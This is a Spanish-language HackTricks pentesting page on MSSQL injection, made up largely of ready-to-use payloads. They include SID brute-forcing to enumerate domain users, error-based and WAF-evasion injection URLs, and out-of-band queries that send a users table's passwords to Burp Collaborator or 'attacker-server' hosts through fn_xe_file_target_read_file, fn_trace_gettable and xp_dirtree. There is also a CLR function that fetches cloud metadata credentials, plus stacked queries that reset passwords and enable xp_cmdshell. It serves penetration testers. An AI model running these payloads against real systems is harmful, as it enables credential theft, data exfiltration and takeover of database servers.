hacktricks/pentesting-web/sql-injection/mssql-injection.md

15 KiB

Inyección MSSQL

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Enumeración de Active Directory

Puede ser posible enumerar usuarios de dominio a través de inyección SQL dentro de un servidor MSSQL utilizando las siguientes funciones de MSSQL:

  • SELECT DEFAULT_DOMAIN(): Obtén el nombre del dominio actual.
  • master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator')): Si conoces el nombre del dominio (DOMAIN en este ejemplo), esta función devolverá el SID del usuario Administrador en formato hexadecimal. Esto se verá como 0x01050000000[...]0000f401, nota cómo los últimos 4 bytes son el número 500 en formato big endian, que es el ID común del usuario administrador.
    Esta función te permitirá conocer el ID del dominio (todos los bytes excepto los últimos 4).
  • SUSER_SNAME(0x01050000000[...]0000e803) : Esta función devolverá el nombre de usuario del ID indicado (si existe), en este caso 0000e803 en big endian == 1000 (usualmente este es el ID del primer ID de usuario regular creado). Entonces puedes imaginar que puedes forzar bruscamente los IDs de usuario desde 1000 hasta 2000 y probablemente obtener todos los nombres de usuario de los usuarios del dominio. Por ejemplo, utilizando una función como la siguiente:
def get_sid(n):
domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236'
user = struct.pack('<I', int(n))
user = user.hex()
return f"{domain}{user}" #if n=1000, get SID of the user with ID 1000

Vectores alternativos basados en errores

Las inyecciones SQL basadas en errores suelen parecerse a construcciones como +AND+1=@@version-- y variantes basadas en el operador «OR». Las consultas que contienen tales expresiones generalmente son bloqueadas por los WAFs. Como método de evasión, concatena una cadena utilizando el carácter %2b con el resultado de llamadas a funciones específicas que desencadenan un error de conversión de tipo de datos en los datos buscados.

Algunos ejemplos de dichas funciones:

  • SUSER_NAME()
  • USER_NAME()
  • PERMISSIONS()
  • DB_NAME()
  • FILE_NAME()
  • TYPE_NAME()
  • COL_NAME()

Ejemplo de uso de la función USER_NAME():

https://vuln.app/getItem?id=1'%2buser_name(@@version)--

SSRF

fn_xe_file_target_read_file

https://vuln.app/getItem?id= 1+and+exists(select+*+from+fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select+pass+from+users+where+id=1)%2b'.064edw6l0h153w39ricodvyzuq0ood.burpcollaborator.net\1.xem',null,null))

Permisos: Requiere permiso VIEW SERVER STATE en el servidor.

# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
# Or doing
Use master;
EXEC sp_helprotect 'fn_xe_file_target_read_file';

fn_get_audit_file

https://vuln.app/getItem?id= 1%2b(select+1+where+exists(select+*+from+fn_get_audit_file('\\'%2b(select+pass+from+users+where+id=1)%2b'.x53bct5ize022t26qfblcsxwtnzhn6.burpcollaborator.net\',default,default)))

Permisos: Requiere el permiso CONTROL SERVER.

# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_get_audit_file';

fn_trace_gettable

https://vuln.app/ getItem?id=1+and+exists(select+*+from+fn_trace_gettable('\\'%2b(select+pass+from+users+where+id=1)%2b'.ng71njg8a4bsdjdw15mbni8m4da6yv.burpcollaborator.net\1.trc',default))

Permisos: Requiere el permiso CONTROL SERVER.

# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_trace_gettabe';

xp_dirtree, xp_fileexists, xp_subdirs

El método más común para realizar una llamada de red que encontrará utilizando MSSQL es el uso del Procedimiento Almacenado xp_dirtree, que curiosamente no está documentado por Microsoft, lo que provocó que fuera documentado por otras personas en Internet. Este método se ha utilizado en múltiples ejemplos de publicaciones sobre Exfiltración de Datos Fuera de Banda en Internet.

Esencialmente,

DECLARE @user varchar(100);
SELECT @user = (SELECT user);
EXEC ('master..xp_dirtree "\\'+@user+'.attacker-server\aa"');

Al igual que LOAD_FILE de MySQL, puedes usar xp_dirtree para hacer una solicitud de red solo al puerto TCP 445. No puedes controlar el número de puerto, pero puedes leer información de recursos compartidos de red.

PS: Esto no funciona en Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64) ejecutándose en un Windows Server 2016 Datacenter en la configuración predeterminada.

Hay otros procedimientos almacenados **** como master..xp_fileexist o xp_subdirs que se pueden usar para obtener resultados similares.

xp_cmdshell

Obviamente, también podrías usar xp_cmdshell para ejecutar algo que desencadene un SSRF. Para más información lee la sección relevante en la página:

{% content-ref url="../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/" %} pentesting-mssql-microsoft-sql-server {% endcontent-ref %}

MSSQL Función Definida por el Usuario - SQLHttp

Es bastante sencillo escribir una CLR UDF (Función Definida por el Usuario del Common Language Runtime - código escrito con cualquiera de los lenguajes .NET y compilado en un DLL) y cargarla dentro de MSSQL para funciones personalizadas. Sin embargo, requiere acceso dbo por lo que puede no funcionar a menos que la conexión de la aplicación web a la base de datos sea como sa o con un rol de Administrador.

Este repositorio de Github tiene el proyecto de Visual Studio y las instrucciones de instalación para cargar el binario en MSSQL como un ensamblado CLR y luego invocar solicitudes HTTP GET desde dentro de MSSQL.

El código http.cs utiliza la clase WebClient para realizar una solicitud GET y obtener el contenido como se especifica

using System.Data.SqlTypes;
using System.Net;

public partial class UserDefinedFunctions
{
[Microsoft.SqlServer.Server.SqlFunction]
public static SqlString http(SqlString url)
{
var wc = new WebClient();
var html = wc.DownloadString(url.Value);
return new SqlString (html);
}
}

En las instrucciones de instalación, ejecute lo siguiente antes de la consulta CREATE ASSEMBLY para agregar el hash SHA512 del ensamblado a la lista de ensamblados confiables en el servidor (puede ver la lista utilizando select * from sys.trusted_assemblies;)

EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil';

Una vez agregada la asamblea y creada la función, podemos ejecutar lo siguiente para realizar nuestras solicitudes HTTP

DECLARE @url varchar(max);
SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/';
SELECT dbo.http(@url);

Explotación rápida: Recuperar una tabla completa en una consulta

Existen dos maneras sencillas de recuperar el contenido completo de una tabla en una consulta — el uso de la cláusula FOR XML o la cláusula FOR JSON. La cláusula FOR XML requiere un modo especificado como «raw», por lo que en términos de brevedad FOR JSON la supera.

La consulta para recuperar el esquema, las tablas y las columnas de la base de datos actual:

https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto--

Los vectores basados en errores necesitan un alias o un nombre, ya que la salida de expresiones sin ninguno de los dos no puede formatearse como JSON.

https://vuln.app/getItem?id=1'+and+1=(select+concat_ws(0x3a,table_schema,table_name,column_name)a+from+information_schema.columns+for+json+auto)--

Recuperando la consulta actual

La consulta SQL actual que se está ejecutando se puede recuperar accediendo a sys.dm_exec_requests y sys.dm_exec_sql_text:

https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null

Permisos: Si el usuario tiene permiso VIEW SERVER STATE en el servidor, el usuario verá todas las sesiones en ejecución en la instancia de SQL Server; de lo contrario, el usuario solo verá la sesión actual.

# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';

Pequeños trucos para eludir WAF

Caracteres de espacio en blanco no estándar: %C2%85 или %C2%A0:

https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null--

Notación científica (0e) y hexadecimal (0x) para ofuscar UNION:

https://vuln.app/getItem?id=0eunion+select+null,@@version,null--

https://vuln.app/getItem?id=0xunion+select+null,@@version,null--

Un punto en lugar de un espacio en blanco entre FROM y el nombre de una columna:

https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users--

Separador \N entre SELECT y una columna de relleno:

https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users--

Evasión de WAF con consultas apiladas no ortodoxas

Según este artículo de blog es posible apilar consultas en MSSQL sin usar ";":

Entonces, por ejemplo, múltiples consultas tales como:

use [tempdb]
create table [test] ([id] int)
insert [test] values(1)
select [id] from [test]
drop table[test]

Puede reducirse a:

use[tempdb]create/**/table[test]([id]int)insert[test]values(1)select[id]from[test]drop/**/table[test]

Por lo tanto, podría ser posible eludir diferentes WAFs que no consideran esta forma de apilar consultas. Por ejemplo:

# Adding a useless exec() at the end and making the WAF think this isn't a valid querie
admina'union select 1,'admin','testtest123'exec('select 1')--
## This will be:
SELECT id, username, password FROM users WHERE username = 'admina'union select 1,'admin','testtest123'
exec('select 1')--'

# Using weirdly built queries
admin'exec('update[users]set[password]=''a''')--
## This will be:
SELECT id, username, password FROM users WHERE username = 'admin'
exec('update[users]set[password]=''a''')--'

# Or enabling xp_cmdshell
admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
## This will be
select * from users where username = ' admin'
exec('sp_configure''show advanced option'',''1''reconfigure')
exec('sp_configure''xp_cmdshell'',''1''reconfigure')--

Referencias

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks: